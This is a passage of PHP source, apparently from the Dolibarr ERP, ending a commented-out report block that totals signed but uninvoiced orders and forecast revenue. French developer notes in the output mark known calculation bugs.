p.total_ht, p.total_ttc FROM ".MAIN_DB_PREFIX."commande AS p, ".MAIN_DB_PREFIX."societe AS s LEFT JOIN ".MAIN_DB_PREFIX."co_fa AS co_fa ON co_fa.fk_commande = p.rowid LEFT JOIN ".MAIN_DB_PREFIX."facture AS f ON co_fa.fk_facture = f.rowid WHERE p.fk_soc = s.rowid AND p.fk_statut >=1 AND p.facture =0"; if ($socid) { $sql .= " AND f.fk_soc = ".$socid; } $sql .= " GROUP BY p.rowid"; $resql=$db->query($sql); if ($resql) { $num = $db->num_rows($resql); $i = 0; if ($num) { $total_pr = 0; while ($i < $num) { $obj = $db->fetch_object($resql); $total_pr += $obj->total_ttc-$obj->tot_fttc; $i++; } print "<tr class="oddeven"><td align=\"right\" colspan=\"5\"><i>Signe et non facture:</i></td><td align=\"right\"><i>".price($total_pr)."</i></td><td colspan=\"5\"><-- bug ici, ca devrait exclure le deja facture</td></tr>"; } $db->free($resql); } else { dol_print_error($db); } print "<tr class="oddeven"><td align=\"right\" colspan=\"5\"><i>Total CA previsionnel : </i></td><td align=\"right\"><i>".price($total_CA)."</i></td><td colspan=\"3\"><-- bug ici car bug sur les 2 precedents</td></tr>"; } print "</table>"; */ llxFooter(); $db->close();